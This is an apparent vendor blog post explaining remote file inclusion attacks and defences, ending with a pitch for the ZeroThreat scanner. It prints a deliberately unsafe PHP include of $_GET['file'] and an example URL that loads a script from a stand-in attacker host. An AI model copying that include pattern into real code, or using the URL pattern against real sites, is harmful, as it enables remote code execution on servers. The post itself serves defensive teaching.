Remote File Inclusion: Everything You Need to Know

Quick Summary: Get a solid understanding of remote file inclusion in this article. Check information on how it works and what you can do to deal with it. It can cause serious security problems for web applications. Let’s learn more about it and protect your web apps.

Security leaders always put extra effort into protecting their digital landscape. They know failing to prioritize security will put their organizations into trouble. However, understanding the threat landscape for your organization and keeping an eye on potential vulnerabilities help you mitigate most risks.

Remote File Inclusion or RFI is one such threat that you must pay attention to for robust security. It is one of the most common cyberattacks. A successful RFI attack can result in the loss of sensitive data, a compromised server, and more.

A complete understanding of this threat vector and how it occurs will help you make the best decision to defend against it. Besides, you can learn how security testing with vulnerability scanner, input validation, whitelist, and other measures help to prevent and mitigate this risk. Keep reading to know more.

Don’t Rely on Inaccurate Security Assessments Use AI-powered Vulnerability Detection Try For Free

What is Remote File Inclusion (RFI) and How Does It Occur?

RFI is a kind of cyberattack in which an attacker attempts to load an external script or file and output its content on the server. For this, attackers exploit vulnerabilities found in web applications that dynamically load files within a web page without proper input validation and sanitization.

Think of it as an attempt to insert an arbitrary file by exploiting the vulnerability of a web app involving accepting files as input. For example, your web application might require files that are dynamically provided through user input or the GET method.

Real-life examples of such web applications include online image editors or image size reducers. They need users to upload files from either a device locally or through a URL. If these web apps lack input validation, they are susceptible to a remote file inclusion attack.

This attack can occur for web apps written in any programming language. However, PHP-based web apps are more susceptible to this attack because there is a native function that includes files on a web page.

Let’s understand it using a remote file inclusion attack example. The following is a block of PHP code.

<php>  /* get input in URL parameter ‘file’ and access it via GET method  no sanitization and input validation used */  $file_name = $_GET[‘file’];  include($file_name);  </php>

The above PHP code is vulnerable to Remote File Inclusion or RFI attack because it fails to sanitize and validate input. Consequently, an attacker can insert a malicious file hosted on a remote server as below.

https://testsite.com/?file=http://badsite.com/badfile.php

After this, the “$file_name” variable will point to “http://badsite.com/badfile.php”, this file. The “include($file_name)” function will cause the file to be loaded on the current web page. An attacker may include a malicious script to be executed by the server and take control of it. This is a good remote file inclusion example that helps you understand how it occurs.

Remote File Inclusion (RFI) vs Local File Inclusion (LFI)

Both LFI and RFI fall under the File Inclusion category of cyberattacks. However, there are many differences between them. In the case of local file inclusion, the attacker doesn’t trick the server into loading external files but manipulates local file paths with methods like directory traversal to access data.

The following table shows the differences between RFI and LFI

Stay Undefeated with the Most Precise Security Assessments for Your Web Apps Grab Your Magic Wand

Types of File Inclusion Attacks

Let’s learn about common types of file inclusion attacks in detail.

Local File Inclusion (LFI)

Exploits vulnerabilities that allow an attacker to include files from the local file system of the server. This can lead to exposure of sensitive files like configuration files or password files.

Remote File Inclusion (RFI)

This kind of attack allows attackers to include files from a remote server, typically through URLs. Such attacks are especially performed to execute malicious code and scripts on a remote server.

Dynamic File Inclusion

This attack takes place when file inclusion is based on user input that is dynamically processed. This can allow attackers to include arbitrary files if the input is not properly validated.

Local File Disclosure

This is a variant of local file inclusion where the attacker aims to reveal the contents of local files instead of including them. This can expose all the confidential details of the system.

Remote Code Execution via File Inclusion

A more hazardous form of RFI where the included remote file carries executable code that runs on the server which leads to remote code execution.

What are the Threats from Remote File Inclusion?

The variety and gravity of damage by a remote file inclusion attack depends on the type of file included and the execution permissions. However, the following are the most potential web app security risks with such kind of attack vector.

Remote Code Execution

An attacker can insert malicious scripts or code that will be executed by the server. It is known as RCE or Remote Code Execution. An attacker can leverage an RCE attack to implant ransomware on the target server that will block access to critical files until a ransom is paid.

Denial of Service

An RFI vulnerability could be a reason behind a denial-of-service attack. Once an attacker manages to penetrate deep into the server system and gains control of it, carrying out a DoS attack is easy. The attacker can exhaust server resources or shut it down to make it inaccessible to users.

Data Breach

Another critical danger from an RFI attack is the disclosure of sensitive information. If there is a malicious script or code with the file included remotely by an attacker, it will be executed by the server apart from rendering the web page. Consequently, the attacker can access and steal sensitive data and cause a data breach.

Full System Control

Attackers can hijack web servers by gaining full control of them by overriding configurations if adequate permissions are granted. For instance, if an attacker successfully overturns configuration settings by gaining access to a user account with administrative privileges, it will result in a compromised server. The attacker can upload a backdoor shell to control the OS of the server.

Cross-site Scripting

RFI vulnerabilities may also help attackers to conduct cross-site scripting attacks. The attacker can achieve this by inserting malicious client-side dynamic scripts. These scripts can manipulate the HTML content of a web page that the attacker can use to steal sensitive data.

Advanced Persistent Threat

In this case, an attacker might exploit the remote file inclusion vulnerability to install malware and get backdoor access to your system. Further, the attacker might also get access to your systems for a longer time, leading to an APT (Advanced Persistent Threat). It will enable the attacker to gather intelligence, monitor your business, or plan more severe attacks.

Defacement of Content

An attacker can also deface the content of a website or web application to damage its reputation. It could be an act of revenge or an adversary’s tactic to defame your business. The attacker can simply inject arbitrary files into a webpage and manipulate it to spoil its content.

RFI Prevention Tips to Mitigate the Risk

You must have heard of the popular proverb, “Prevention is better than cure.” This is also true in the case of cybersecurity. It is much better to prevent potential threats than curing your systems after an attack. There are multiple ways to do this, and vulnerability assessment is one of them. It allows you to identify web application weaknesses to prevent potential cyberattacks.

Frankly, the most effective prevention method probably would be to avoid accepting files through user input. However, if it’s not possible, there are some ways to mitigate the risks arising from RFI exploits. Let’s explore some RFI mitigation tips below.

Input Sanitization and Validation

Improper validation of inputs is one of the main root causes of many kinds of cyberattacks. For instance, an attacker can include files with commands or scripts to hijack your server when input is not validated. Hence, user-supplied input must be checked to verify it is the right type and doesn’t contain any unwanted characters.

Make sure to check the type of input provided to prevent undesirable actions. You can check the input for specific file types and block the request if the type doesn’t match. Alternatively, you can also take advantage of the “allowed list” to verify whether the input file type matches the allowed types.

When your web application sanitizes input to convert special characters such as ‘$’, ‘<’, ‘&’, ‘>’, and more into HTML entities, it will be safer. It is one of the best practices for web app security.

If your web app is based on PHP, it can use the “htmlspecialchars()” function to convert inputs received through “$_GET” into non-harmful forms. Always sanitize inputs received through GET, cookies, POST, URL parameters, and HTTP headers.

Use a Whitelist

While input validation and sanitization can mitigate the risk, it can be even more effective when using a whitelist to check for file types. You shouldn’t create a blacklist to list down files that are blocked, attackers have ways to get around it. Instead, using a whitelist with allowed file types is more effective.

Security Testing

One of the best ways to protect your web apps from cyberattacks is by performing thorough security testing. It will help you uncover potential web application weaknesses that could allow attackers to compromise security. It can help you detect vulnerabilities like RFI, OWASP Top 10, and more.

No Trust Policy

Adopt a no-trust policy with a security framework like Zero Trust. It will help you protect your systems by disallowing unauthorized access. It requires authentication to verify a user’s credentials before granting access. It will help prevent a bid to gain unauthorized access to your system.

What are OWASP Recommendations on RFI?

The OWASP checklist provides a list of the most critical security risks and gives recommendations on how to fix them. However, RFI isn’t included in that list, but there is a separate page that defines it and provides the remediation tip.

It recommends that passing user-supplied input to any filesystem/framework API should be avoided to get rid of the file inclusion threats. In case it isn’t possible, there should be an “allow list” of files. It can be included by a web page and a file can be selected by using an identifier like index number.

With this, it is possible to reject requests that don’t provide valid identifiers. Consequently, it will eliminate the attack surface and prevent attackers from manipulating the path.

Stand Strong Against Cyberattacks with a Cutting-edge Vulnerability Assessment Platform Let’s Make It

How ZeroThreat is Effective in Securing Your Web Applications?

Remote file inclusion is one of the critical dangers for web applications that can drastically impact an organization. Protecting against such threats requires comprehensive security testing, which you can achieve with ZeroThreat.

It is an advanced DAST tool with cutting-edge features to identify vulnerabilities most accurately with its AI-powered crawler. ZeroThreat can discover vulnerabilities by scanning your web apps from depth and breadth.

With no configuration required and a simple dashboard, scanning web applications is a breeze with ZeroThreat. It will also report detected vulnerabilities with their level of severity to determine the vulnerabilities that require the most attention.

Get it a shot for free and see how it works live.